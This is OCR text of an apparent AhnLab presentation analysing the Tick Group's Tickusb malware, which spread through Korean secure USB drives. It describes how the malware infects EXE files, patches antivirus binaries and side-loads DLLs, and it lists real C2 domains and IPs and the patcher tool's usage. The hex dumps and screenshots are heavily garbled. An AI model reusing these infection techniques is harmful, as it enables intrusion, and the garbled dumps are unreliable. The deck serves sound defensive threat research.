i ¥ _dreuerse mode,. if true,. client 's= local" address wil —session_timeout int
puer sice tri c: if > B, szesszion will check itself if it's alive. if no meg tranfer fo
SEPUliES:E:IEEdP for client connect some seconds,. socket will be closed. use this to avoid of =zombie tcp sockets
. s . —zmartN int
_535319E—§1330ut int i11 check itself if it’ 1i if c: if >B, smart mode opentijust for socksS or route model.it means how ma
1d - i3§51921”; i ecd t=e th} ; 8 a_aueg 1 ;:ny requests of the same url at least are needed for sys to decide whether reques
umEtggcun 2, socket wi e closed. use is to avoid of zomb}~ . i, "Jocally or remotely
—spPC
—threaﬁsingcp to replace udp c: whether logging s¥rc ip. Jjust for tcp redirection

replace of GOMAXPROCS (default 1) TEER L se tep to replace udp
—timeout int

. . —timeout int
: udphplpe Sst timeout(seconds> (default 188> c: udp pipe set timeout{seconds) {(default 108>
—:Ersi:ﬁr ose mode -u ciz: verhoze mode

zshow verszion —version
. cis: show version
—xor string

»or key.cs/s must use a some ke ~xor string
¥- ¥ ce: xor key.cs/s must use a zome key

¥

£ "-local" address will he listened on

LI




WINRAR

AhnlL3ab

* RAR v3.3 Command-line

- Flename : tmp.dat

Command Prompt

= )

RAR 3.30 Copyright {(c> 1993-2084 Eugene Roshal 22 Jan 2004
Shareware version Type RAR —? for help

Usage = rar <command?> —<{switch 1> —<{switch N> <{archive> <{files...>
{@listfiles...> {path_to_extract\>

{Commands >

Add files to archive
Add archive comment
Add files comment
Urite archive comment to file
Delete files from archive
Extract files to current directory
Freshen files in archive

ilpar]1=<{str> Find string in archives

k Lock archive

1[t.bl List archive [technical,. barel

mLlf] Move to archive [files onlyl

1] Print file to stdout

¥ Repair archive

C Reconstruct missing volumes

»n Rename archived files

rriN] Add data recovery record

rulN] Create recovery volumes

slname i—1] Convert archive to or from SFX
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Attacked using Korean Secure USB Flash Drive

» Attacked using Korean Secure USB Flash Drive

- Performs malware infection via variant-installing programs
- Presumed to be an attempt to attack net isolation systems by using Korean Secure USB Drive

Tick Group Weaponized Secure USB Drives to
Target Air-Gapped Critical Systems

By and
June 22, 2018 at 1:00 PM
Category:

Tags:

* Source : https://unit42.paloaltonetworks.com/unit42-tick-group-weaponized-secure-ush-drives-target-air-gapped-critical-systems/



Tickusb (SysmonLoader) AhnLab

* Tickusb (SymonLoader)
- Found to be active from spring 2014 to Nov. 2017 (possibly even before Sep. 2012)

- First analysis disclosed by Unit42 in Jun. 2018
- Saved information leaked and data modified when USB Flash Drive was connected

- Some variants found in the Korean Secure USB Flash Drive =» Execute by reading data from specific area =» Execution code unchecked
- Modified EXE file and patched ALYAC25.EXE file within some modified USB Flash Drive

» Composition of Tickusb

- Consists of EXE file including the essential code for DLL, which acts as the Loader

- Main function of DLL (Loader): Executes Tickusb EXE when USB Flash Drive is connected, Downloads additional files
- Main functions of EXE file: Collects information within the USB Flash Drive, Infects EXE file, and Patches ALYAC25.EXE
- Modified EXE within a USB Flash Drive: Executes by creating Downloader or Tickusb variants



AhnlL3ab

Dropper

* Dropper

- Modified (Infected) by Tickusb =» Create Downloader

£ SKT Shelf (60A) / Shelf (1004) / Back (2504) / Rack (5004)

E]
7 Eglt @! Porl I Jisconnect I QAD SET] $Alatm I ﬂ Setting I é Wersion l \ IniliaIAIarmr I}: InitiaISeltirjgl 7 7 |

e

Fi

rMeasure Status wls‘j/stem Status - Alarm Set rSeiﬁng Status
{ AcvoLT AC High Volt | || MANUAL volt |
AC_R Volt R )
| () AC POWER OFF scitowvalt Dlchargesvolt — 1 23 456 78 910111213141516171819
ACSvolt | @ ACNFB DOWN DC High Volt CHARGE LIMIT Amp
ACTvot | @ DC HIGH vOLT Batt Low Volt CHARGE MODE
DC Volt ) pcLow voLT DC Low Volt || szm sy
Load Amp ] . BATT. LOW VOLT ZAX2 A Wi UNIT 8& [
Batt. Amp {0 BATT.RELAY OPEN T — | UNIT &#E A2
Batt. Temp | @ PBATT.NFB(Fuse)Off | Hz=aAt | - FEIIPSET

Batt Cell 1-1 wappress | || |
| () BATT.TEMP SENSOR GATEWAY T i -~

sotecantz || s Csusmermasc || ||

BatiGallits VOLT AMP TEMP 88 UVFFOTOVOCAFSD .cooneecs | | | | | |
Batt Cell 1-4 (@ unIT1 | 900000 @® ==

{0 BATT. CELL FAIL S/N

| Prog Ver.

57600 Bps  |Parity_MON [Stop bits_1  |Data bits_8 |COMI1

| | =
~SNMP SET =
| @) UNIT2 | [ | 0000 e A Trap
eI T eseesss| - ——|— 1 -
Batt Cell 2-2 ® o R =
Batt Cell 2-3 | e | ] 10000000 ;- R -
Batt Cell 2-4 @ iEE | | || 000008® .- M A =
@ unite | | l 00000 ® s~ | | | | r
Bticalls L —l | @ unIT? l ’ l QOO OO Read Community
Batt Cell 3-2 | :. LRITE | | | QOOOO @@ Vrite Community —
‘ g ile!
Batt Cell 3-3 | @ uniro | l | 0000000 Tlis/fsi]_J_]_] No eye_base.eye file!
Batt Cell 3-4 '@ uniT10 Eye-Pattern data base install failed!
@ | | | coo0000 o | | | Put eye_base.eye to the same directory with Aya,exe

You can play without eye_base, eye, but Aya becomes weak,

© AhnLab, Inc. All rights reserved.
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Stages of Tickusb AhnLab

2. Patch 4 A

_ NN D

3. Load & Execute ¢ l‘.‘] J U
8. modify EXE fil
7. search files < modify i_l € ’_B '—b
Downloader Q A Q Q
| | |52 |-
1. Drop ? - 5. Inserted N . !
Download ? Legitimate USB Flash Drive ? - /
EXE
6. Execute !
| 4 Tickusb EXE
4. Create|a log file Download _
Create a log file

A 4
msupdata.ex

© AhnLab, Inc. All rights reserved.
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Tickusb

AhnlL3ab

Discovered File Content
Date

2014.03

2015.04

2015.06

2015.06

2015.07

2015.07

2016.10

2017.01

2017.11

?.exe

CRYPTBASE.dI|

BrWeb.dll, wsmt.exe

CRYPTBASE.dII, svemgr.exe

2.dll (Unconfirmed), ctfmon.exe
CRYPTBASE.dII, svcmgr.exe (Not yet obtained)
wincrypt.dll, wsmt.exe (Not yet obtained)
wincrypt.dll

wincrypt.dll

Disclosed by Unit42 in 2018. Standalone EXE. Presumed to be
an earlier version before 2014

Assumed to have been created in December 2014.
Independent DLL. Collect system information and file
information within the USB flash drive.

Loads "BrWeb.dll" by patching a Brother Printer-related file.
Downloads files. ALYAC25.exe patch function. Scans *.hwp files.
Infects EXE files. Additional malware is found.

Bnb Solution comparison functions were added. The EXE
modification function was added.

Export functions similar to that of CRYPTBASE.AII



2014.03 — Early Tickusb AhnLab

» Early Tickusb
- Built on Sept 27t, 2012 (1)

- Reads data from a specific area when a Bnbsol secure USB flash drive is attached to the system =» the code is not yet confirmed
.0040BB4O : : ; : msxml  msxml.ex

.0040BB50 : _ : E 73.2E i . e wins.log

.0040B060 :
.0040B0B70:
.0040B0O30 :
.0040BB90 :
.0040BOA0 :
.0040B0OBO :
.0040B0OCO:
.0046B6BDO :
.0040BOED :
.0040BOFO:
.0040B1060:
.0046B110:
.0040B120:
.0040B130:
.0040B140:
.0040B150:
.0040B160:

~-.0040B170:
-.0040B180:
-.0040B190:
-.0040B1A0:
.. 0040B1B0:
.0040B1CO:
.0040B100 :
.0040B1EG:
.0040B1FO :
00408200 :

SysMonitor_3A2DC
B47 \ ProgramF
1lesDir SOFTHWARE
\Microsof t\llindo
ws\CurrentVersio
n advpack.dll

IsNTAdmin \Mic
rosoft MApplica
tions #USERPRO
FILEYX \Accesso

ries Hindows

NT ° SOFTWARE

25763 00.42 LE
.6F 6C 00.53 4D

.61
.6E
.00
4D
.63
.00
.63
.61

63
14
00
61
69
00
69
69

14,79 20
6F.6C 20
00.4D 61
6E. 4D 62
6D.6F 6E
00.52 65
6F. 74 69
62.64 3A

A\ \%c: BNBSOL
bnbsol SHI smi
Capacliy Device
ToControl Error:
AT MainlCla
ss  MainMenu
device monitor
he Register
DeviceMotificati

on failed: %d@
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2015.04 — Tickusb Independent DLL

* CRYPTBASE.DLL (73,216 bytes)
- Presumed to have been built on Dec. 29, 2014
- Independent DLL type (without EXE file execution function)
* Function
- Collectsfile list within USB Flash Drive
- Deletes ‘C:\WINDOWS\system32\CatRoot{375EA1F-1CD3-22D3-7602-00D04ED295CCNTAG file
- Checks the URL (.co, .net, .kr, .kt, .co,wwww.) = Checks ‘peacenet.go.kr‘ = Collects System Information

- Searches for VPN Cliend.exe, IPPEManager.exe in processes = Collects System Data
.00 00 (

.1000E150:.
.1000E160:.
.1000E170:.
.10860E180:.
.1000E190:.
.1000E1A0 .
.10B0E1B0: .
.1000E1CO:.
.1000E1D0G ;.
.1000E1ED:.
.1000E1F0O .
.1080E200 : .
.1000E210:.

1000E2D0
1000E2E0:
1000E2F0 :
1000E300 -
1000E310:
1000E320 :
1000E330:
1000E340:
1000E350:
1000E360:
1000E3/0:
1000E380:
1000E390:

6A 00
5C 70
77 00
25 63 3A 25
18 20 20 2
2t.1000E220 .
2L
SF.
45

iy

4.

4E.

1000E230

1000E240:.
1000E250 ;.
4C. 1000E260 ;.
1000E270:.
5¢.1000E280 ;.
1000E290:.
. 1000E2A0 ..

00 00.
Y
00 00 .

16 69 65

.oC 00 00

oC 63 6F

130 38 78
5.30 38 78
1000E3A0 -
.- 1000F3B0 -
1000E3CO :
1000E3D0 -
1000EJED :
1000E3F0
1000E400
1000E410:
1000420

11.2E
00.25

6E .66 .
2D 25 30

2.1

00 00

6C 6F

J @D UH 00 00
.64 61 7
2D 25

29

67 2F
38 78.

78 2D.
00.

00 00
B 2F 61.

72

&

A

B |
A O

J

ar T
|1l &

00

bo 12 74
) 16

L9
by Y

3D

4o

63
20

29
.00
69.
.09
3D.

63
3D

.3D
.61

3@
)
29
64
§14)
69
20
3D

SD.

63

viﬂw lo

“5:22

5F 25

.00

46.61 6
!__/[1\

"l

”'.ea %

20 ¢
?3
04 2
10 00 B0
65 20
IA 3D :
3D 3D 3L
49 6
6o 20 -

N

s fa %c:
od_Yc

cert

nmui /c d]I /

u.;‘__‘ [
r \ 'J P

d_%»d_%d.
hC\

DevicelnterfFace
QUERY Remowve :=

Deviceln

terFace Remove :



2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

= ___oo]
O Downloader,
Stage 1 ~y|  Backdoor?
Stage 3
1.d load / d (
. downloa rop
) N (—
; [r1]
) 1
iffexe \I) O
L1 2 Patch l 6 Inserted EXE DC
oo y A T 11. modify(infect) EXE files
i p— BrStMonW.exe
Brother Printer 9. search files -
» apihex.dat
3. Load & Execute
10. read the data file
v
Stage 2
g BrWeb.dll » wsmtexe
7. Execute
4. Create a log fil
reate a fog e 5. Download
8. Create a log file
v v v

msupdata.exe




2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

» Patcher - iff.exe (24,576 bytes)

- -b : Modifies and executes a specific EXE file (File size increases)
- -1 : Modifies an EXE file to load a specific DLL file (File size remains same)

- Presumed to have been generated in a non-English speaking region, considering the awkward sentences and typos (“Suces” for

“Success”)

c:\work>iff

Usage:

—b TargetExePath DownLoaderPath
—1 TargetExePath D11lName
example:

—b test.exe downloader.exe

—1 test.exe winini.dll

c:\work>iff -1 notepad.exe Brleb.dll

notenad_exe
Infect Sucess? Method 1 at Section [3]1?




2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

is progr am canno
t he run *in DOS

B 85 FF 75 22 i%ayu'a= E..t.U

M7 BF 84 88 85 g5...a¥W t. 63554
29 89 B89 83 8¢, 5—. iJ.rp3tr

a° h cil.hirE

A1 B89 B84 BH dio. . P dEx....&

L3 L6 L7 89 AL FE L2 3> 2w SUUEed & SER_Fo

CC FF 25 98 %8
A8 Bd @8

B 20 300 30 20

odified.exe
lean.exe_
WA BFCH: UU VU U0 B0 B8 B8 B8 B8 B8 B0 B0 B0 B0 BB BB BB .. ...... ........
AABE BEFDH: U0 U0 00 00 B0 B@ B8 B8 B0 B0 B0 B0 BB B0 BB BB ... ..... ........
BB BFED: U0 U0 OO0 OO OO B8 B8 B8 B6 660 60 60 60 60 B0 BB ........ .....c...
AAAA BFFA: @@
BEBE CHPE -
BB CH1@:
BB CH20-
BB CA3A:
BEBE CH46:-

odified.exe_

HHAA BFCA: B0 B8 B0 B8 BA BA OO BB B8 B0 BB B0 BB BA BB B8 .. ...... ...-....
FAAA BFDA: B0 B8 B0 BA OO BA OO BB OB B0 BB B0 BA BA BB A@ ........ .cccuu.-
AR BFEA: B0 A8 B0 BA B0 BF OO B B B0 BB B0 BB BA BB B@ . ....... ..-c-....

0000 EFEQ: 0p OB 60 00 00 0 B0 0P B0 0P 0P 60 60 00 0@ B0 ........ -.-....

loeee Co16:
ABAA CA20:
AEPA CA30:
b ABAA CA40:

-



2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

» Key Malware
- Entry Point = Get APl Address =» CreateFile =» ReadFile = WinExec
00404342 > $ E9 884A0000 JMP md5sum_m.00408DCF ; JUMP Malware Entry Point
O0dosDCF = B3 FUSH EBX
00402000 . BB FUSH ES|
00403001 . BT FUSH EDI
00403002 . BO FLSHAD
00403003 . B1EC 00010000 =SUB ESP, 100
00403009 . BB 29000000 CALL mdSsum_m, 00403EQ7
; APl Address
0o40s00E . O&as 1700 ; CreateFile
0o4030EZ TCIE22A0 ; GetTempFileMamed
004030ER . ET1BEEFL ; ReadFile
0O04080EL 10004080 ; WriteFile
0o4030EE EB ; ClogseHandle
oo40s0F OF ; Globalal loc
00408DFE . ac ; WinExec
004030F & ; GetTempPathad
004030FE . BB ; GetModuleFileMamed
0o0403E02 R L ; SetFilePointer
0040307 . BB FOP EBX ; EBX = 004030DE
0o0403E08 . FC CLD
0o0403E09 . BB FZFEFFFF CALL mdSsum_m . 00408000 i Get AP Address & WinExec

O0408E0E . S1C4 00010000 ADD ESF, 100



2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

» Patched — BrStMonW.exe (2,629,632 bytes)

- Patched using iff.exe -
- Entry Point command patched (CALL command =» JMP command)

- Adds code that load BrwWeb.dll to an empty section of BrStMonW.exe

BrStMonl.exe_<clean) BrStMonW.exe _Cclean)
PNAN PPRB: 4D 5A 90 OB B3 VO OD BB ©4 VD OB BB FF FF 08 B8 MZg Jo985 D528: 45 D
hPP@ PP1GA: BS 0@ PP 0F PO 0A PG BA 40 AP 0B AP BB PP B8 BA .. 9985 D538: FF

ARG PB20: 0P AP OB 00 PP AP 0B 00 0 98 @@ ... J9985 D54@8: EB 13
PRPP BA30: PO PP AP 00 VR PO PP G 0P 96 00 PG PP 61 06 @@ ... J9985 D550: B3

APAA @P46: BE 1F BA BE @@ B4 @9 CD 21 B8 @1 4C CD 21 54 68 ..||J9985 DS6@: E?
PPPB AA5@: 69 73 28 78 72 6F 67 72 61 6D 28 63 61 6E 6E 6F is Joods D57@: 89
AAPA AP6B: 74 28 62 65 20 72 75 6E 20 69 6E 2@ 44 4F 53 28 t hd9985 D580: 0@
PPPB BA7@: 6D 6F 64 65 2E GD BD @A 24 0BG 00 PP OB BB B8 BB mnoddov¥> D598: 5B
ARAA BASA: @6 F1 7F BA 42 98 11 E9 42 98 11 E? 42 98 11 E9 .:4|[9905 D5AB: 51

BrStMonW.exe_ _ _ __ _ BrStMonll.exe (clean)

PPA0 @AAA: 4D 5A 98 BB 03 BB PEPVAY 22C0:

AAAP PA1G: BS 0P PP O PP 0P PEGDAY 72DA:

PA0P A020: 0P OO A0 PP 0P B PEPBR? 72EQ:

AARN PA30: PP 0P PP 0P PP BN PEODAY 72FQ: 90 0@ 06

#A0P @A48: OE 1F BA PE OB B4 @900 7300: 00 00 g. 1 iE. 3
AAAn PASA: 69 73 28 78 72 6F 670089 ?31@: o-3.dd..
AAOP BB6B: 74 20 62 65 20 72 750009 7320: 90 90 00 90 00 90 in"ic? po
AAAn PA?A: 6D 6F 64 65 2E @D MDOBAY ?33@: R¥¢ .$yalling
ARA0 AP8A: B6 F1 7F BA 42 90 119009 7340: P90 O 9@ 0P 90 OV 90 O B0 OO BB .. ... ... ........ QSUWdi5. ...Eu"|[E

T T R
naae 72CH:

nene? 72D0:

e 72EHQ:

neee? 72F0@: B8 06 B0

nune 73080: (517 1517

Bnene 27310:

neae 73208: 98 B8 60 98 B8 80

Bnene 2330:

neBe 7340: b8 B0 VB VO BB BO BB BO BB BB BB © . LTV .. ... ...



2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

» Loader — BrWeb.dll (79,360, 78,848 bytes)

- Disguised as Brother Printer Driver

- Keeps a log in Credentials.csv

- Ifa USB flash drive is attached to the system, C:\WINDOWS\System32\migration\WWSMTwsmt.exe file is executed

- Reads C:\Windows\schemas\AvailableNetwork\basevl.xsd file =» File not yet obtained

- On every Monday and Thursday, downloads code from http:/updata.saranmall.com/script/main.html to create MSUPDATA.EXE

10010428 :
10010430 :
10010440 :
10010450 :
.10010460:
10010478 :
.10010480:
10010490 :
10010400 :
.100104B0:
.100104C8:
.100104D8:
.100104E0:
.100104F0:
10010500 :
.10010518:
.10010528:

=  http://updat
e.saranmall .com/
script/main.html
%d ) :
User Agent SOFT
HAREAM1icrosof t\l
1ndows\CurrentVe
rsionsInternet §
ettings Mozilla/
4.0 (compatible;
MSIE 8.0: Windo
ws NT 5.1; SV1)
GET HTTP/1.8
/ . exe upda
ta ms Path
bExec  num true
Screen




2015.06 — Tickusb (Patcher + BrwWeb.dll + wsmt.exe)

AhnlL3ab

» Infector : wsmt.exe (25,088 bytes)
- Keeps a log in FlashHistory.dat
- Finds an EXE file in the USB flash drive and adds the data read from C:\Windows\AppPatch\Custom\Custom64\apihex.dat

For ALYAC25.exe file, it patches a specific section

.BB40B7020:
.BB407030:
.BB407040:
SO19-6-4 7:A2:42 ... .
2019-6-4 7:42:42 0 5
2019-6-4 T:42:42 =t fg
2019-6-4 7:42:42 ——hin data————

2019-6-4 7:42:42 D:@
20189 42 Hotify USB

G-4 T-4Z2:
2019-6-4 7:42:42 Start Infect EXE in USB
2019-6-4 T:42:42 Dftcalc. exe
c019-6-4 7:42:42 111
2019-6-4 T:42:42 D#tcalc. exe
2019-6-4 7:42:42 C#WindowstippPatch#CustontfCustonGMapihes ., dat
c019-6-4 7:42:42 inner D:Yfcalc.exe — f size
e019-56-4 7:42:42 inf QB
2019-6-4 T7:42:42 D:#notepad. exe
2019-6-4 7:-42:42 111
2019-6-4 7:42:42 D-ffnotepad. exe
2019-6-4 7:42:42 C#WindowstippPat ch#CustontfCustonbMap ihes, dat
2019-6-4 7:42:42 inner D:#fnotepad.exe — f size

00407170

@ @ . X CO
d . scr . p
wh.scr

nd-%d-%d %d:%d:%
d %s Mg Jioflo
nd-%d-%d %d:
#d:%d —-=bin da
a————— M HAND
.EXE

A o

A25 of AlLYac?5.
exe 1inf ofd inf
f@ Start Infect
EXE in USBMZ

Notify USB C:\W
1ndows\AppPatch
Custom\Custombh
apihex.dat Devi1
ce Arrive  Quer




2015.06 — Tickusb (Patcher + BrWeb.dll +wsmt.exe) AhnLab

 Modified (Infected) EXE

e

R oo

)
1 Write - 2. Drop v
Malware Malicious Code EXE

© AhnLab, Inc. All rights reserved. 56

3. Execute




2015.06 — Tickusb (Cryptbase.dll + svcmgr.exe)

AhnlL3ab

* Cryptbase.dll (51,712 bytes)

- %ProgramFiles¥e\common files\iava\java update\cryptbase.dll

- Inlcudes Export function in Cryptbase.dll file

{nFunctions) | Dword Word Dword sZANSi

00000001 00001686 0000 00009068 SystemFunction001
00000002 000016C2 0001 0000907D SystemFunction002
00000003 000016CE 0002 0000908F | SystemFunction003
00000004 000016DA 0003 000090A1 SystemFunction004
00000005 000016F2 0004 00009083 SystemFunction005
00000006 00C016FE 0005 000090C5 .SyﬁenﬁuncﬁonOZS
00000007 0000170A 0006 000090D7 | SystemFunction029
00000008 00001716 0007 000090E9 SystemFunction034
00000009 00001722 0008 000090FB SystemFunction036
CO00000A 0000172E 0009 0000810D SystemFunction040
00000008 0000173A CO0A 0000911F | SystemFunction041
0000000C LpkEditControl

000C0A424

0008

00009131



2015.06 — Tickusb (Cryptbase.dll + svcmgr.exe) AhnLab

* Cryptbase.dll (51,712 bytes)

- Main code strings

.1000A130: : 2D 25 30 32.64 2D 25 30 YsH %04d-%02d-%0
.1000A140: . 32 .29 30 32 64.3A 25 30 32 2d %02d:%02d:%02
.1800A150: - ; : .00 00 00 00.46 69 6C 69 dé%03d E;le

.1000A170:
.1000A180:
.1600R190:
.1000A1A0:
.1000A1BA:
.1000A1CH:
.1600A1D8 :
.1000A1ED:
.1000A1F0:
.1000A200 :
.1000A210:
.1000R220
.1000A230:
.1000R240
.18008A250
.1800A260
.1000A270:
.1000A230 :

-32.1@@@920@:
- £ 1000A2E0:
-5t 1000A2F0:
- = 10000300
44" 16090310 -
- 1511000320
2219001330
£ 1000A340:
-1'1000A350:
-82/ 10008360
20" 1000A370 -
22 10001380
- I 10008390
-4~ 1000A3A0:
44 1000A3B0:
44" 1000A3CH -
49" 1009A3D0 -
42" 1 000A3ED -
'1000A3F0:
' 1000A400 -
10000410

Users\Oracle\Jav
alinstallcache\U
srClass.dat.blf”

HC:\ Devi

celnterFace QUER
Y Remove :

=== [evicelnterF
ace Remove :

Remove
1 Volume Arriv
al :[ %“c 1 C:\W
INDOWS\system32\
CatRoot\{375ERA1F
-1CD3-22D3-76062-
BBDBLED295CCINTA




2015.06 — Tickusb (Cryptbase.dll + svcmgr.exe)

AhnlL3ab

* svemgr.exe (32,768 bytes)

- EXE file infected
- ALYAC25.exe patched

00408020 :
00408030 :
00408040
00408050 :
00408060 :
00408070 :
00408080
00408090
00408000 :
.004080B0
.004080C0
00408000 :
.004080E0 :
.004080F0
00408100 :
00408110
.00408120:
.00408130:
00408140
00408150
00408160 :
00408170

B [2) . K CO
d . scr . p
wh.scr

nd=%d-%d %d:%d: %

d %s M Jlofio]

wd-%d-%d %d:
#d:%d ——=bin da
M Star
t.... config.d
at AppData\
C:\Users\Publich
Favorites\ .EXE
.exe sl

ARV AN

o
A25 o AlLYac?5.
exe inf of inf
f .docx .doc
Start Infect

EXE in USBME
Notify USB C:\U




AhnlL3ab

2016.10 — Tickusb (wincrypt.dll + wsmt.exe)

 wincrypt.dll (77,824 bytes ~ 1,589,760 bytes)
- Discovered in 2016.10~2017.11

AoooDC4G A000S00C  Function RWA, a001 SystemFunctionOOd
aooonc4cC Q0005015 Function RWA, a002 SystemFunctionOOz
A0000CE0 Q0005024 Function RAWA, Q00s SystemFunctiond03
Aooo0Cad Q0003030 Function RWA, Qo4 SystemFunctiond04
Q000D CEE Q0003032 Function RWA, Q005 SystemFunctiond0S
AoooDCac A0o00304a  Function RWA, Q006 SystemFunctiondZ28
A0o0DCeN Q0005054 Function RWA, a00y SystemFunctionZ2S
Q0000 Ce4 Q0005060 Function RWA, Q005 SystemFunctiond34
Q0000 CES Q00030BC  Function RWA, ao0y SystemFunctionD3sb
Q0000 CE Aoo00=07E  Function RWA, Q00A SystemFunctionCdl)
A0000CE0 Q0003084 Function RWA, QODE SystermFunctionCd
aooaDcy 4 Q0003090 Function R4 A00C  dlhwmain



2016.10 — Tickusb (wincrypt.dil + wsmt.exe) AhnLab

» Tickusb —wincrypt.dil (2016.10)

- Runwsmt.exe when USB Flash Drive is connected to the system (EXE file was not identified)

.1000F168:
.1000F176:
.1000F180:
.1000F190:
.1006F1AG:
.1000F1B6:
.1006F1CH:
.1006F1D6 :
.1006F1EQ:
.1006F1F@:
.1000F200 :
.1000F2106:
.1000F220:
.1008F230 :
.1000F240:
.1000F250:
.1000F260:
.1000F278:
.1000F286:
.1000F290:
.1000F2A0 :
.1000F2B@ :

#Bhd-%02d-%0
2d #02d:%02d: %02
d:%03d a+
N #%s\is
S Yo A=
SKH C:\ cmd
/c "Uhs\esv . dat”
“hsTT nB2d-%02
d-%02d-%02d.dat
Voghy  YsME
w config.dat
C:\WINDOWS\Syste
m32xmigration\HS
MT\wsmt .exe %c:%
B8x—#%B8x—%08x——%
B8x%08x—7%08x%08x
~-% 08 08x-Ys-Yhs
-%s DRIVE_NO_ROO
T_DIR DRIVE_RE
MOVABLE DRIVE_FI
HED DRIVE_REMOTE
DRIVE CDROM




Stage 3 - Dropper vs Modified PE AhnlLab

*Code comparison of a sample known as a Droppers with an infected sample

- The sample appears to be a modified Tickusb file rather than a Dropper

PUSHAD | 0044936 B0 PUSHAD
SUB ESP, 100 0044936 81EC 1 SUB ESP, 100
CALL Partable.D0432469 0044936F| ES 2 000 CALL infected.0044939D
OB &H,BYTE PTR SS: [EBP+387C0017] HHJHHJ?f 1885 170 38 |OR &H,BYTE PTR SS:[EBP+387C0017]
AND CH,BYTE PTR DS:[EDI+10FABS16 | 00449374 | 224CET 1665FA10|AND CH,BYTE PTR DS: [EDI+10FAB516]
0044938 I
JNS SHORT Purtqble.DUdSEdSA | 00449382 .79 04 JNS SHORT infected.0044935
Ca LL 11 |-—“ OBCK0 [”:'-—1.‘l’.|3 £ L 397FDOF ] A LL 11 |~1! 2B
i | 00459386 - i D
0D4aA9
| 00449388
0044938E
| l_”_|-1.“.d_x-{-1 ) ]
00449395 .76 B IE SHORT infected.00449404
| 00449397 BO 45 MOy UL 45
004438339| AC 0DS BYTE PTR DS: [ESI]
.B | 00449394 ' ]
JBE HORT Portable.004324C5 HHjuu ;E-vr. 5B JEF UHOPT infected.004493F9
FC CLD | 0044939 CLD
ES ECFEFFFF I"LL Fnrr4b|p 0043235C 0044939F luLL 1ntp.tpd 00449290
S1C4 00010000 |ADD E | 00449344 ADD ESP, 100
= () u; 00449344 PUPAD
| L” |4.“. 'ﬂ hal, .El
00449340
47 5B | 00449340 5B
00432474 | 55 DD4AS3AE| ES SFFZ2FAFF CALL infected. 00458612
00432478| SBEC MOY EBF, ESP | 00449383 |-E9 0749FAFF JMP infected.0044DCEBF

10

omm

oo

r]—
T.‘-m“ﬂ*“.‘—:‘




Stage 3 - Modified PE AhnLab

* Dropper
- not only Dropper but also Modified PE !

.00400000:
.00400010:
00400020
.00400030:
00400040
.00400050:
00400060
.00400070:
.00400080:
00400090 :
.004000R0
.004000B0:
.004000C0:
00400000 :
.004000LE0 :

.g_o_l"_ﬁ_!_u_f

11.00400000:

-00400010.
1. 00400020 :
1.90400030:

- 00400040

@@&0@@58:
-~ 00400060 :
.00400070:
00400080 :
00400090 :
.004000A0 :
.004000B0
.004000C0
008400000 :
.0B4000ED
.004000F0
.00400100:

MZE ¥ 2
(@
.extll

X
ﬁ'Hﬂ {o=138L='Th
1S program canno

ruE in DOS

Av | 4 ﬁo—'ﬁHL ’Th
1S program canno
t be run 1n DOS
mode . ffﬂ$

=3$- ﬂR “{R="1

“R="
k=
B

RlchﬁR—
PE LG4 p' O
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Connections

Ahnlab

Daserf

194

Similar
Builders

Netboy Ninezero

A

Similar filenames
Mimikatz, Keylogger

Ghostdown

Bisodown

Gofarer

Signed by

Heruida Electronic

Technology

)

wcCe.exe

Ghostdown

Same
Encoding

A

TICK GROUP

softi.co.kr

)

WinRAR
Command-line

i

\S

Tonto (Bisonal)

Datper Daserf Netboy Ninezero
C&C
| o \ :
. Emdivi

campaign "Blue termite"



Connections Ahnlab

* Correlations with C2

- amamihanahana.com : Xxmm, Datper

- 211.13.196.164 : Datper, Emdivi (campaign Blue termite)

THURSDAY, OCTOBER 18, 2018

This blog post is authored by Ashlee Benge and Jungsoo An, with contributions from Dazhuo L.

arallels and examine the methods

used by this actor.

* Source : https:/blog.talosintelligence.com/2018/10/tracking-tick-through-recent-campaigns.htm
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Symptoms AhnLab

{@]3@‘ %g‘ LY

=R

Incqrrect op_eration An executable file Suspicious file names System access to di::le natr?es
or interruption of  larger than 50 MB recently registered merent irom
security software  (Especially if written in dobain normal file names
Delphi) (WinRAR Console,

Port Scanner, etc.)




Features AhnLab

/%2019 0248 Attack

@ 2019. 01 Registers www.eneygylakes.com (61.111.255.225 — Korea)

Registered .com domains on
Saturday,|January 19, 2019

P 15 Auex +=TEN =7t

61.111.255.225 2019-02-12 09:42:39 2019-01-28 13:32:25 Republic of Korea @,

Source : https://domain-status.com/archives/2019-1-19/com/registered/51



Remaining Tasks AhnlLab

*Tick Group is a threat actor that has been active in Korea and Japan for the past ten years!

*Question 1. Are they the same group?
- Existence of Malware Builder

- Same code reused

* Question 2. Connection to Tonto Team
- Some malware are simultaneously used

- Some infrastructures, such as C&C, are shared

- What is the connection between these Groups? - Collaboration? Same Group? Coincidence?






Collaboration Ahnlab

» Necessity of Cooperation and Collaboration
- Callaboration required between the researchers of Korea and Japan, who are experiencing similar active attacks.
- It's important to disclose and share information.

- Cooperated with Japanese and Taiwanese analyst. (Thanks !)

- AhnLab will share relevant information with the members of industry




Contact AhnlLab

Thank you for your attention!

CHA Minseok (Jacky)

minseok.cha@ahnlab.com
mstoned7@gmail.com
* 3§ @mstoned?




More security, More freedom




